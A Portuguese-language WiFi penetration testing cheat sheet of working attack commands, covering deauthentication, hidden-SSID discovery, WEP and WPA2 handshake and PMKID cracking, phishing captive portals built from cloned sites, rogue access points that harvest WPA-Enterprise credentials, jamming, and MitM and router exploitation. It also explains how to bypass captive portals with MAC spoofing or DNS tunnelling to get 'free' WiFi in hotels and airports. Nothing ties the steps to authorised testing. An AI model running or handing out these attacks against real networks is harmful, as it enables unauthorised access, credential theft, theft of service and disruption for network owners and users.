Guia de Teste de Penetração WiFi

Índice

1. Comandos básicos

2. Redes abertas

   2.1. Portais cativos

   2.2. Ataque Man-in-the-Middle

3. Quebra de WEP

   3.1. Sem clientes

4. Quebra de WPA2-PSK

   4.1. Quebrando o handshake de 4 vias

   4.2. Ataque PMKID

   4.3. Ataque sem AP

5. WPA2-Enterprise

   5.1. Pontos de Acesso Falsos

   5.2. Força bruta

   5.3. Métodos EAP suportados

6. Outros ataques

   6.1. Ataque Krack e Ataque Frag

   6.2. OSINT

   6.3. Bloqueio de WiFi

   6.4. Outros frameworks

7. Pós-exploração

   7.1. Atacando o roteador

   7.2. Tipos de scanners

   7.3. Spoofing

1. Comandos básicos

Definir variável de ambiente

VARIABLE=value

Verificar modo da interface

iwconfig $IFACE

Verificar status da interface

ifconfig $IFACE

Definir modo monitor

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

Listar redes

1. Definir modo monitor

2. Executar Airodump-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Desautenticação

1. Apenas um cliente

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. Um Ponto de Acesso (= todos os clientes no AP)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Obter SSID oculto com clientes

1. Listar redes

Liste as redes usando Airodump-ng e obtenha o endereço MAC do AP ($AP_MAC) e de um cliente ($CLIENT_MAC). Não pare a captura.

2. Desautenticar

Em outro terminal, desautentique um cliente ou todos. Quando o Airodump-ng capturar um handshake desta rede, o nome ou ESSID aparecerá no primeiro terminal:

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Obter SSID oculto sem clientes

1. Listar redes

Liste as redes usando Airodump-ng e obtenha o endereço MAC do AP ($AP_MAC) e de um cliente ($CLIENT_MAC). Não pare a captura.

2.a. Executar um ataque de dicionário

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. Ou executar um ataque de força bruta

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

Para o conjunto de caracteres, é possível usar l (letras minúsculas), u (letras maiúsculas), n (números), c (minúsculas+maiúsculas), m (minúsculas+maiúsculas+números) ou a (todos os imprimíveis).

2. Redes abertas

2.1. Portais cativos

2.1.1. Portais cativos falsos

1. Clone um site usando HTTrack

2. Instale o Wifiphiser. Adicione o resultado do HTTrack em uma nova pasta em wifiphisher/data/phishing-pages/new_page/html e um arquivo de configuração em wifiphisher/data/phishing-pages/new_page/config.ini.

3. Recompile o projeto usando python setup.py install ou o binário em bin.

4. Este comando funciona corretamente na versão mais recente do Kali após instalar o hostapd:

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Bypass 1: Spoofing de MAC

O primeiro método para contornar um portal cativo é alterar seu endereço MAC para o de um usuário já autenticado

1. Escaneie a rede e obtenha a lista de endereços IP e MAC. Você pode usar:

• nmap

• Um script personalizado como este (Bash) ou este (Python)

2. Altere seus endereços IP e MAC. Você pode usar:

• macchanger

• Um script personalizado como este(Bash)

Além disso, você pode usar scripts para automatizar o processo como:

• Script Poliva

• Hackcaptiveportals

2.1.3. Bypass 2: Tunelamento DNS

Um segundo método é criar um túnel DNS. Para isso, é necessário ter um servidor DNS acessível próprio. Você pode usar este método para contornar o portal cativo e obter WiFi "grátis" em hotéis, aeroportos...

1. Verifique se os nomes de domínio são resolvidos:

nslookup example.com

2. Crie 2 registros DNS (no Digital ocean, Afraid.org...):

• Um "registro A": dns.$DOMAIN apontando para $SERVER_IP (Exemplo: dns.domain.com 139.59.172.117)

• Um "registro NS": hack.$DOMAIN apontando para dns.$DOMAIN (Exemplo: hack.domain.com dns.domain.com)

3. Execução no servidor

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Verifique se funciona corretamente aqui

5. Execução no cliente

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Criar o túnel

ssh -D 8080 [email protected]

2.2. Ataque Man-in-the-Middle

Uma vez na rede, você pode testar se ela é vulnerável a ataques Man-in-the-Middle.

1. Ataque de ARP Spoofing usando Ettercap

2. Sniffar o tráfego usando Wireshark ou TCPdump

3. Analisar o tráfego usando PCredz (Linux) ou Network Miner (Windows)

3. Quebra de WEP

1. Iniciar captura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Acelerar a captura de IVs usando Fake authentication + Arp Request Replay Attack + Desautenticar usuário. Pare o Airodump em ~100.000 IVs diferentes

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Quebrar a senha usando Aircrack-ng

aircrack-ng $PCAP_FILE

4. Quebra de WPA2-PSK

4.1. Quebrando o handshake de 4 vias

1. Iniciar captura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Desautenticar um usuário. Pare a captura do airodump quando vir uma mensagem 'WPA handshake: $MAC'

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Opção 1: Quebrar o handshake usando Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

Você pode obter wordlists aqui.

4. Opção 2: Quebrar o handshake usando Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. Ataque PMKID

Você pode usar este script ou seguir estes passos:

1. Instale Hcxdumptool e Hcxtool (você pode usar este script).

2. Pare o Network Manager

airmon-ng check kill

3a. Se quiser atacar um endereço MAC específico

• Crie um arquivo de texto ($FILTER_FILE) e adicione o endereço MAC sem ":". Você pode usar sed e redirecionar a saída para um arquivo:

echo $MAC | sed 's/://g' > $FILTER_FILE

• Capture o PMKID

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2

4. Crie $HASH_FILE

hcxpcaptool -z $HASH_FILE $PCAPNG_FILE

A estrutura de cada linha é: PMKID * MAC ROTEADOR * ESTAÇÃO * ESSID (verifique em: https://www.rapidtables.com/convert/number/hex-to-ascii.html)

5. Quebre usando Hashcat (opção 16800)

hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force

4.3. Ataque sem AP

Se você tiver acesso a um dispositivo cliente com a conexão WiFi ligada, mas não houver uma rede por perto, ainda poderá atacar essa rede se o dispositivo cliente já tiver se conectado a ela anteriormente.

Para isso, você deve criar um Ponto de Acesso Falso usando hostapd com um arquivo de configuração como este, com qualquer senha, mas o mesmo nome de rede. Crie a rede falsa; o dispositivo cliente tentará se conectar a ela e você obterá o handshake de 4 vias, como na seção 4.1 deste guia.

5. WPA2-Enterprise

5.1 Pontos de Acesso Falsos

Download de máquinas virtuais

Instalação local

Caso não queira usar a máquina virtual, você pode instalar tudo usando:

git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack

cd WPA_Enterprise_Attack && sudo sh install.sh

Hostapd & Freeradius-wpe

Inicie o Ponto de Acesso usando:

sh freeradius_wpe_init.sh $AP_NAME $INTERFACE

Quando um cliente se conectar, leia os logs com:

sh freeradius_wpe_read.sh

Hostapd-wpe

sh hostapd_wpe_init.sh $AP_NAME $INTERFACE

5.2 Força bruta

• Airhammer

5.3 Métodos EAP suportados

Descubra métodos EAP suportados

• EAP_buster

6. Outros ataques

6.1. Ataque Krack e Ataque Frag

Estes são dois ataques avançados descobertos pelo grande Mathy Vanhoef:

• Scripts do Ataque Krack - Explicado neste site

• Scripts do Ataque Frag - Explicado neste site

6.2. OSINT

• Wigle

6.3. Bloqueio de WiFi

• Wifijammer - Este programa pode enviar pacotes de desautenticação tanto para APs quanto para clientes.

Um exemplo para desautenticar todos os dispositivos, exceto um Ponto de Acesso Falso:

sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC

6.4. Outros frameworks

Linux:

• Sniffair
• Wifi Pumpkin - Framework para ataque de Ponto de Acesso WiFi Rogue
• Eaphammer - Framework para Pontos de Acesso Falsos
• WEF - Framework para diferentes tipos de ataques para WPA/WPA2 e WEP, quebra automatizada de hashes e mais

Windows:

• Acrylic - Útil para fase de reconhecimento
• Ekahau - Útil para planejamento de Wi-Fi
• Vistumbler - Útil para wardriving

7. Pós-exploração

Uma vez conectado à rede

7.1. Atacando o roteador

• Routersploit - Framework de Exploração para Dispositivos Embarcados - Teste "use scanners/autopwn"

7.2. Tipos de scanners

• Nmap/Zenmap - Scanner de Segurança, Scanner de Portas e Ferramenta de Exploração de Rede

• Masscan - A versão mais rápida do nmap (pode quebrar coisas, então tenha cuidado)

• Netdiscover - Sniffing ARP. Muito útil se as redes forem muito segmentadas

7.3. Spoofing

• Ettercap - Verifique se você pode realizar um ataque MitM e sniffar todo o tráfego na rede